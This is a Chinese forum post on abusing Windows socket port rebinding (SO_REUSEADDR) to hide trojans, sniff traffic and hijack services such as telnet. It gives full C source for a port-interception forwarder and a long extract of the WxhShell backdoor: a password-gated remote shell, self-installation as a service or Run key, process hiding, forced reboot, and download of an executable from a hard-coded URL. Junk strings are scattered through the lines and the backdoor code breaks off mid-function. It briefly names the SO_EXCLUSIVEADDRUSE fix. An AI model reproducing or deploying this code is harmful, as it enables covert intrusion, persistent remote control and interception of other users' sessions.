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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: h|Uy!?l  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ssC5YtF7X  
Sud5F4S  
  saddr.sin_family = AF_INET; v><uHjP  
y:8*!}fR  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); Zcn,_b7  
Px))O&w{  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); P9D'L{yS/x  
nY<hfqof  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 r-a/vx#  
3#H x^H  
  这意味着什么?意味着可以进行如下的攻击:  =j1rw  
OVm $  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 5:H9B  
yegTKoY  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) -*EK-j  
glppb$oB\  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 nP>*0Fq  
' cl&S:  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  h4^ a#%$  
*tda_B 2  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 Y?z@)cL  
oA&V,r  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 XK>/i}y  
$h-5PwHp  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 !:mo2zA  
pc w^W  
  #include dSb|hA}@  
  #include  98os4}r  
  #include (SLAq$gvd  
  #include    )vK %LmP  
  DWORD WINAPI ClientThread(LPVOID lpParam);   DT@6Q.  
  int main() YGObTIGJvf  
  { !#nlWX :~  
  WORD wVersionRequested; #<bt}Tht  
  DWORD ret; <;.Zms${@  
  WSADATA wsaData; "S43:VH  
  BOOL val; 4cql?W(D  
  SOCKADDR_IN saddr; por[p\M.  
  SOCKADDR_IN scaddr; >'@yq  
  int err; P.RlozF5;  
  SOCKET s; ,iU ]zN//  
  SOCKET sc; ++:vO  
  int caddsize; S"UFT-N  
  HANDLE mt; Ak$gh b  
  DWORD tid;   b$nXljV4?  
  wVersionRequested = MAKEWORD( 2, 2 ); JI}(R4uV  
  err = WSAStartup( wVersionRequested, &wsaData ); 9 I> 3p4]  
  if ( err != 0 ) { A:EF#2) g  
  printf("error!WSAStartup failed!\n"); Nf>1`eP  
  return -1; $Tt@Xu  
  } ]S[zD|U%  
  saddr.sin_family = AF_INET; "2X=i`rTi  
   |*7uF<ink6  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 U%ce0z  
nv(Pwb3B  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); tgDmHxB]0  
  saddr.sin_port = htons(23); hq/\'Z&!+P  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) UcDJ%vI  
  { hNXPm~OK\  
  printf("error!socket failed!\n"); ?^us(o7-  
  return -1; /J8AnA1  
  } k'wF+>  
  val = TRUE; 'z2}qJJ)  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 -,et. *  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 0%}$@H5i  
  { 2s;/*<WM  
  printf("error!setsockopt failed!\n"); Y2j>lf?8  
  return -1; @dcT8 YC  
  } /g712\?M4  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ,qpn4`zE~  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 8UoMOeI3  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 q,2]]K7y  
3~BL!e,  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) nbw&+dcJ8  
  { O1coay  
  ret=GetLastError(); O%A:2Y79  
  printf("error!bind failed!\n"); UKQ ,]VC  
  return -1; 6!/e_a  
  } ,v$gQU2  
  listen(s,2); g||{Qmr=1  
  while(1) 31wact^  
  { {Zjnf6d]  
  caddsize = sizeof(scaddr); 'rRo2oTN  
  //接受连接请求 \^?BC;s^C  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ,Vt7Kiu  
  if(sc!=INVALID_SOCKET) 6J6MR<5'  
  { Rs{L  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); XY1NTo. =  
  if(mt==NULL) Uq~{=hMX  
  { ?.IT!M}DR  
  printf("Thread Creat Failed!\n"); vAq`*]W+  
  break; 4CS 9vv)9R  
  } `.Y["f 1B  
  } ._-^ 58[  
  CloseHandle(mt); C!B2 .:ja  
  } \)DP(wC  
  closesocket(s); #,qw~l]  
  WSACleanup(); 6/T hbD-C  
  return 0; ?@(_GrE-  
  }   6~0S%Hz   
  DWORD WINAPI ClientThread(LPVOID lpParam) HW"|Hm$Y(  
  { 22`W*e@6h  
  SOCKET ss = (SOCKET)lpParam; 1s=M3m&H  
  SOCKET sc; oU$Niw9f  
  unsigned char buf[4096]; *ZKI02M  
  SOCKADDR_IN saddr; @YMef `T:  
  long num; Bra>C  
  DWORD val; O!lZ%j@%  
  DWORD ret; v6HBO#F'V{  
  //如果是隐藏端口应用的话,可以在此处加一些判断  1SP )`Q  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   hkJ4,.  
  saddr.sin_family = AF_INET; Y;p _ff  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 5 1@V""m  
  saddr.sin_port = htons(23); syA*!Up  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) >1,.4)k%K  
  { f`.8.1Rd  
  printf("error!socket failed!\n"); vmvk  
  return -1; LgjL+w19  
  } x %L2eXL  
  val = 100; b>hNkVI  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) \$/)o1SG  
  { (LA%q6  
  ret = GetLastError(); 4cRF3$a md  
  return -1;  VljAAt  
  } wXMKQ)$(  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) '~VKH}b  
  { U>IllNd  
  ret = GetLastError(); '+?AaR&p?  
  return -1; P \tP0+at  
  } }\:3}'S.$  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) $]%;u: Sa  
  { T,@.RF  
  printf("error!socket connect failed!\n"); z~L''X7g  
  closesocket(sc); [pUw(KV2m  
  closesocket(ss); A`T VV  
  return -1; B&Q\J>l9S  
  } ,3.E]_3 xX  
  while(1) $\Bzp<SN`  
  { YFv/t=`  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 X]U,`oE)9  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 $HF. 02{|  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 =MEv{9_  
  num = recv(ss,buf,4096,0); AV Gu*  
  if(num>0) /1F%w8Iqh  
  send(sc,buf,num,0); <|c n Qj*  
  else if(num==0) #:s*)(Qn  
  break; U s86.@|  
  num = recv(sc,buf,4096,0); AqB5B5}  
  if(num>0) ];Z)=y,vM  
  send(ss,buf,num,0); :tp2@*] 9Z  
  else if(num==0) p @&>{hi@  
  break; L3JFQc/oh~  
  } <`i " 5`J  
  closesocket(ss); onRxe\?D(  
  closesocket(sc); -=iGl5P?  
  return 0 ; FB9PIsFS  
  } 7Ab&C&3  
5ppOG_  
}l~|c{WH`  
========================================================== bXF>{%(}E  
7cW9@xPe  
下边附上一个代码,,WXhSHELL ^q5~;_z|  
V>ML-s9  
========================================================== NUbw]Y90~  
( NWT/yBx  
#include "stdafx.h" M(|Qvh{Q6  
,A`d!{]5  
#include <stdio.h> M.$Li#So,  
#include <string.h> eQu%TZ(x-$  
#include <windows.h> %KHO}gad1  
#include <winsock2.h> n8UQIa4&=  
#include <winsvc.h> 5b45u 6  
#include <urlmon.h> lffp\v{w  
mbB,j~;^6H  
#pragma comment (lib, "Ws2_32.lib") IROX]f}r(  
#pragma comment (lib, "urlmon.lib") ]E'BFon  
&IsQgS7R  
#define MAX_USER   100 // 最大客户端连接数 PLU8:H@X  
#define BUF_SOCK   200 // sock buffer 9pUvw_9MY  
#define KEY_BUFF   255 // 输入 buffer _G%]d$2f`  
(XA=d 4  
#define REBOOT     0   // 重启 ,Tc3koi  
#define SHUTDOWN   1   // 关机 A<P3X/i  
%|E'cdvkX  
#define DEF_PORT   5000 // 监听端口 JYuI~<:  
2w\$}'  
#define REG_LEN     16   // 注册表键长度 OLh`R]Sd  
#define SVC_LEN     80   // NT服务名长度 Mx<z34(T  
i{[=N9U5o  
// 从dll定义API A tl`J.;G  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); (Cjnf a 2  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); &7Frg`B&:  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); jy@vz,/:%5  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ?#; oqH<  
x{4Rm,Dxn  
// wxhshell配置信息 Ww5c9orXn  
struct WSCFG { 'f&o%5]  
  int ws_port;         // 监听端口 'F%4[3a$\n  
  char ws_passstr[REG_LEN]; // 口令 Dy6uWv,P  
  int ws_autoins;       // 安装标记, 1=yes 0=no f!6oW(r-L  
  char ws_regname[REG_LEN]; // 注册表键名 } 8ZCWmd  
  char ws_svcname[REG_LEN]; // 服务名 @_"B0$,-i  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 OQzJRu)mF#  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 }L Q9db1  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 X-1<YG  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 0#(K}9T)  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" m|q?gX9R  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 $YZsaw  
HScj  
}; i0F.c\  
VBc[(8o  
// default Wxhshell configuration v*Tliw`-U  
struct WSCFG wscfg={DEF_PORT, l`lo5:w  
    "xuhuanlingzhe", OLXkiesK{  
    1, zNSix!F  
    "Wxhshell", <p@c %e,_  
    "Wxhshell", YnnpgR.  
            "WxhShell Service", A ?"(5da.  
    "Wrsky Windows CmdShell Service", q6A!xQs<  
    "Please Input Your Password: ", p- 5)J&  
  1, tX;00g;U.  
  "http://www.wrsky.com/wxhshell.exe", :}d`$2Dz  
  "Wxhshell.exe" .qVz rS  
    }; \PS{/XK  
^l1tQnj)7  
// 消息定义模块 dz/' m7  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; :xw2\:5~0  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 1);$#Dlt k  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; }.Eq_wP<  
char *msg_ws_ext="\n\rExit."; \m-fLX  
char *msg_ws_end="\n\rQuit."; j,Sg?&"%=  
char *msg_ws_boot="\n\rReboot..."; wu?ahNb.`Y  
char *msg_ws_poff="\n\rShutdown..."; Ta#vD_QP  
char *msg_ws_down="\n\rSave to "; FFXDt"i2  
\RN,i]c-g/  
char *msg_ws_err="\n\rErr!"; qh Ezv~  
char *msg_ws_ok="\n\rOK!"; eeIh }t>[  
_3$@s{k-TI  
char ExeFile[MAX_PATH]; s vn[c*  
int nUser = 0; 2}j2Bhc  
HANDLE handles[MAX_USER]; tB.;T0n  
int OsIsNt; :0o $qz2  
7t-j2 n`<  
SERVICE_STATUS       serviceStatus; :PtpIVAosg  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; &SS"A*xg  
H e]1 <tx  
// 函数声明 #QJ  mAA  
int Install(void); f uojf+i  
int Uninstall(void); U -~%-gFC  
int DownloadFile(char *sURL, SOCKET wsh); }_XW?^/8  
int Boot(int flag); 4mOw[}@A  
void HideProc(void); khT&[!J{>  
int GetOsVer(void); K#M h  
int Wxhshell(SOCKET wsl); ,2S <#p!  
void TalkWithClient(void *cs); )gdv!  
int CmdShell(SOCKET sock); E%ea o$  
int StartFromService(void); Rs B o\#`  
int StartWxhshell(LPSTR lpCmdLine); 8 o8FL~&]  
SCeZt [  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); w?ssV  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); dsDoPo0!  
sBuJK'  
// 数据结构和表定义 "@B! 5s0  
SERVICE_TABLE_ENTRY DispatchTable[] = mFayU w  
{ Ku LZg  
{wscfg.ws_svcname, NTServiceMain}, IWu^a w  
{NULL, NULL}  .Pq8C  
}; c 5P52_@  
4,9AoK)yp  
// 自我安装 A{h hnrr8  
int Install(void) IyG5Rj2  
{ o^RdVSkU;  
  char svExeFile[MAX_PATH]; X[k-J\  
  HKEY key; yp5*8g5  
  strcpy(svExeFile,ExeFile); |Ix6D  
*F:]mgg  
// 如果是win9x系统,修改注册表设为自启动 Td[w<m+p<P  
if(!OsIsNt) { 1W~-C B>  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { iMx+y5O  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); [2w3c4K  
  RegCloseKey(key); wI>JOV7  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { WA Y<X:|We  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); y:4Sw#M%(  
  RegCloseKey(key); !N$4.slr<p  
  return 0; S "oUE_>  
    } 3FUZTX]Q1  
  } f<SSg* A;  
} {EJVZG:&  
else { .u7d  
rQ}4\PTi  
// 如果是NT以上系统,安装为系统服务 \!ESmxSa;  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); W3UK[_qK  
if (schSCManager!=0) p8s2#+/  
{ 2DQ'h}BI  
  SC_HANDLE schService = CreateService ?^BsR  
  ( {DN c7G  
  schSCManager, fH`1dU  
  wscfg.ws_svcname, !P@u4FCs  
  wscfg.ws_svcdisp, mMN oR]  
  SERVICE_ALL_ACCESS, x(}tr27o  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 5[l3]HOO  
  SERVICE_AUTO_START, >[|:cz  
  SERVICE_ERROR_NORMAL, #*S/Sh?Q  
  svExeFile, 1bzPBi  
  NULL, ;ok];4`a  
  NULL, 5B'-&.Aj+  
  NULL, %c^]Rdl  
  NULL, h>mQ; L  
  NULL A!^K:S:@  
  ); /bCrpcH  
  if (schService!=0) fS#/-wugOB  
  { &tMvs<q,  
  CloseServiceHandle(schService); @1n0<V /  
  CloseServiceHandle(schSCManager); VPN@q<BV  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 7/Lbs  
  strcat(svExeFile,wscfg.ws_svcname); czMLvPXRx  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { bSz6O/A/  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); LV8,nTYvE  
  RegCloseKey(key); d,<ctd  
  return 0; !LIWoa[ F.  
    } asQ" |]m  
  } w-/bLg[L?$  
  CloseServiceHandle(schSCManager); s #L1:L  
} [Hd^49<P2  
} g?=B{V  
}d.R=A9L  
return 1; $,i:#KT`  
}  EVq<gGy  
A1Q]KS@  
// 自我卸载 2#+@bk>^{  
int Uninstall(void) xmiF!R  
{ R63"j\0  
  HKEY key; Y}1|/6eJ  
&OI=r vDmo  
if(!OsIsNt) { .\U+`>4av  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ZLL0 6p   
  RegDeleteValue(key,wscfg.ws_regname); J|xqfY@+  
  RegCloseKey(key); 5yA^n6  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { #{h4lte  
  RegDeleteValue(key,wscfg.ws_regname); |{ 9"n<JW  
  RegCloseKey(key); Y!POUMA }A  
  return 0; 1M 3U)U  
  } SF.,sCk  
} a S<JsB  
} 6 Dg[ b  
else {  h@W}xT  
|d%Dw^  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); QyHUuG|g  
if (schSCManager!=0) y|MW-|0=!  
{ t4gD*j6J3  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); sp_(j!]jX  
  if (schService!=0) 7FMHz.ZRE  
  { %{}Jr`  
  if(DeleteService(schService)!=0) { ny=CtU!z  
  CloseServiceHandle(schService); (Mtc&+n{  
  CloseServiceHandle(schSCManager);  =_ rn8  
  return 0; V7lDuiAI  
  } -q+Fj;El  
  CloseServiceHandle(schService); 0A1l"$_|  
  } 2&tGJq-E  
  CloseServiceHandle(schSCManager); u|QfCwQ  
} 6eS#L21*  
} /@wm?ft6Gk  
wh*OD  
return 1; q1?2 U<  
} x7NxHTL  
RIJBHOa  
// 从指定url下载文件 q!AS}rV  
int DownloadFile(char *sURL, SOCKET wsh) -Q$$2QW!  
{ 5n9F\T5  
  HRESULT hr; sWX   
char seps[]= "/"; KO5Q;H  
char *token; " g_\W  
char *file; BV!Kiw  
char myURL[MAX_PATH]; `E|IMUB~  
char myFILE[MAX_PATH]; pnqjAT GU  
&rNXn?>b  
strcpy(myURL,sURL); Hy `r}+  
  token=strtok(myURL,seps); @EZXPU  
  while(token!=NULL) ax 3:rl  
  { Q]|+Y0y}X  
    file=token; .qVdo+M%F  
  token=strtok(NULL,seps); VWMCbg>R  
  } LZoth+:  
x%(!+  
GetCurrentDirectory(MAX_PATH,myFILE); G+%ZN  
strcat(myFILE, "\\"); M.IV{gj  
strcat(myFILE, file); Lqch~@E&%#  
  send(wsh,myFILE,strlen(myFILE),0); . }=;]=  
send(wsh,"...",3,0); 3)3'-wu  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); W:) M}}&H  
  if(hr==S_OK) [{zekF~)@  
return 0; +6;OB@  
else w1KQ9H*  
return 1; r} ,|kb  
,U7hzBj8k  
} `nizGg~1  
mYy3KqYu  
// 系统电源模块 ;ib~c,  
int Boot(int flag) t 1&p> v  
{ ar^`r!ABEh  
  HANDLE hToken; $K,aLcu  
  TOKEN_PRIVILEGES tkp; f a\cLC  
fe0 Y^vW  
  if(OsIsNt) { &c\8` # 6  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); {==Q6BG*  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 6C3y+@9  
    tkp.PrivilegeCount = 1; #|e <l1F  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; F;_;lRAb  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); #15q`w  
if(flag==REBOOT) { J`x9 XWYw  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) kh5V&%>?  
  return 0; d")r^7  
} 8WyG49eic  
else { S`l CynGH  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 3 (}?f  
  return 0; @e Myq1ZU  
} *Zc-&Dk:Ir  
  } h5Z\9`f[  
  else { ZU@V]+ww  
if(flag==REBOOT) { |aVv Lz  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) z[k2&=c  
  return 0; DMf9wB  
} P;y/`_jo  
else { xp &I~YPH  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) AVJF[t,  
  return 0; #/ 4Wcz<  
} -Kc-eU-&q  
} |/(5GX,X  
r;'!qwr  
return 1; s=d?}.E$  
} j=gbUXv/  
EP8LJzd"  
// win9x进程隐藏模块 J\{)qJ*jp  
void HideProc(void) 2`},;i~[  
{ 4Cfwz-Qo  
/;lk.-yU  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); l9jcoVo .  
  if ( hKernel != NULL ) tT v@8f  
  { S2NsqHJr  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); bHMlh^{`%  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); _9-Ajv  
    FreeLibrary(hKernel); ]I]dwi_g)  
  } _ <~05Eh  
'0=U+Egp  
return; hlVP_h"z  
} K l4",  
"s*{0'jo  
// 获取操作系统版本 Z/I!\  
int GetOsVer(void) eGE%c1H9a  
{ hT_snb;ow  
  OSVERSIONINFO winfo; BNByaC  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); IM#+@vv  
  GetVersionEx(&winfo); p!691LI  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) O3_Mrn(R  
  return 1; ! of7]s  
  else jab]!eY  
  return 0; X-duG*~  
} H{V-C_  
>YW>=5_  
// 客户端句柄模块 -`;8~wMN  
int Wxhshell(SOCKET wsl) _+. t7q^  
{ u,pm\  
  SOCKET wsh; >}I}9y+  
  struct sockaddr_in client; }+B7C2_\  
  DWORD myID; f&`*x t/  
@<2pYIi 8  
  while(nUser<MAX_USER) *p-Fn$7\n  
{ }Q%>Fv  
  int nSize=sizeof(client); L=p.@VSZ  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); r" D|1  
  if(wsh==INVALID_SOCKET) return 1; \xdt|:8  
3xe8DD  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 0g+@WK6y  
if(handles[nUser]==0) UtutdkaS  
  closesocket(wsh); dnx}c4P  
else }/LYI  
  nUser++; I*ej_cFQ^  
  } }n.h)Oz  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); pta%%8":  
|B n=$T]  
  return 0; %pt $S~j  
} 4/jY;YN,2  
J!H5{7.efN  
// 关闭 socket \w:u&6,0O  
void CloseIt(SOCKET wsh) qYh,No5\;t  
{ -3V~YhG  
closesocket(wsh); i`Yf|^;@2>  
nUser--; b'OO~>86  
ExitThread(0); OBl8kH(b>  
} `~RV  
5bw]cv$i  
// 客户端请求句柄 T/K.'92S  
void TalkWithClient(void *cs) K c<z;  
{ zm:=d>D..  
U VLcR  
  SOCKET wsh=(SOCKET)cs; =?lT&|"  
  char pwd[SVC_LEN]; <_>6a7ra  
  char cmd[KEY_BUFF]; MT5A%|He  
char chr[1]; I%&9`ceWY  
int i,j; xo%iL  
PHXP1)^}S  
  while (nUser < MAX_USER) { t2:c@)  
Pjy?&;GvT  
if(wscfg.ws_passstr) { Mz^s^aJEE  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); GKSy|z  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Q.XsY.{  
  //ZeroMemory(pwd,KEY_BUFF); ,dp?'_q {  
      i=0; pxbNeqK@p  
  while(i<SVC_LEN) { hK"=~\,  
+E:(-$"R  
  // 设置超时 vraU&ze\1  
  fd_set FdRead; q+z\Y?  
  struct timeval TimeOut; ;!}SgzSH}  
  FD_ZERO(&FdRead); v;Dcq  
  FD_SET(wsh,&FdRead); Z:hrrq9  
  TimeOut.tv_sec=8; e^GW[lT  
  TimeOut.tv_usec=0; {|gJC>f@  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 9H}&Ri%  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Z)A+ wM  
_HK& KY  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 8?YW i  
  pwd=chr[0]; `|w#K28t"  
  if(chr[0]==0xd || chr[0]==0xa) { +m.8*^  
  pwd=0; ) T1 oDk  
  break; $.1'Ym  
  } HH#i.s2  
  i++; PPPwDsJ  
    } }ELCnN  
:U q]~e  
  // 如果是非法用户,关闭 socket _e_%U<\4  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); w3N%J>4_E  
} DRoxw24  
iq:[+  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 48Lmy<}*  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); (3h*sd5ly  
}Yl=lc vw  
while(1) { E?mp6R]}%  
Q75^7Ga_  
  ZeroMemory(cmd,KEY_BUFF); X-,y[ )  
weV#%6=5\  
      // 自动支持客户端 telnet标准   pCUOeQL(  
  j=0; zrO|L|F&P  
  while(j<KEY_BUFF) { ss{=::#  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); SU'9+=_$  
  cmd[j]=chr[0]; xUpb1 R  
  if(chr[0]==0xa || chr[0]==0xd) { \#jDQ  
  cmd[j]=0; /&d`c=nH  
  break; "T u[n\8  
  } $0SZlq>En  
  j++; grdyiBSVn  
    } O`jA-t  
S1`0d9ds#  
  // 下载文件 B9DxV>mr\r  
  if(strstr(cmd,"http://")) { ;cn.s,  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); GKhwn&qCKb  
  if(DownloadFile(cmd,wsh)) \,gZNe&Vv  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); }.cmiC  
  else Oc9>F\]_m  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); U_;J.{n  
  } ^(JHRH~=h  
  else { .GN$H>')  
"EYj Y->  
    switch(cmd[0]) { %`'z^W  
  )xx/di  
  // 帮助 50aWFJYw  
  case '?': { &jZ|@K?  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Q3%# o+R>  
    break; QeJ.o.m{  
  } _ 1> 4Q%  
  // 安装 yO;C3q  
  case 'i': { .0E4c8R\X  
    if(Install()) R(83E B~_  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); nvK7*-  
    else <`_OpNxqW  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); K_|~3g  
    break; yLO &(Mb  
    } :@`(}5F4  
  // 卸载 ;u};& sm  
  case 'r': { E9B*K2l^{  
    if(Uninstall()) #K1BJ#KUt  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); *\:_o5o%[T  
    else eQVPxt2N  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); T5jG IIa  
    break; *tM7>  
    } {&E Z>r-  
  // 显示 wxhshell 所在路径 ^=Ct Aa2  
  case 'p': { $:E}Nj]{&  
    char svExeFile[MAX_PATH]; Owpg]p yVD  
    strcpy(svExeFile,"\n\r"); ,PMb9 O\B  
      strcat(svExeFile,ExeFile); "]s|D@^4#b  
        send(wsh,svExeFile,strlen(svExeFile),0); <S8W~ wC  
    break; o+_/)c  
    } &<V_[Wh"  
  // 重启 ;#yu"6{  
  case 'b': { QS [B  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); "gvw0)  
    if(Boot(REBOOT)) @ZkAul0@  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); B+e_Y\B u  
    else { tkN3BQ  
    closesocket(wsh); nN`Z0?  
    ExitThread(0); '<&EPUO  
    } -)O kG#J@  
    break; B.mbKntK)R  
    } aDl, K;GL  
  // 关机 U 'CfP9=  
  case 'd': { myWmU0z/  
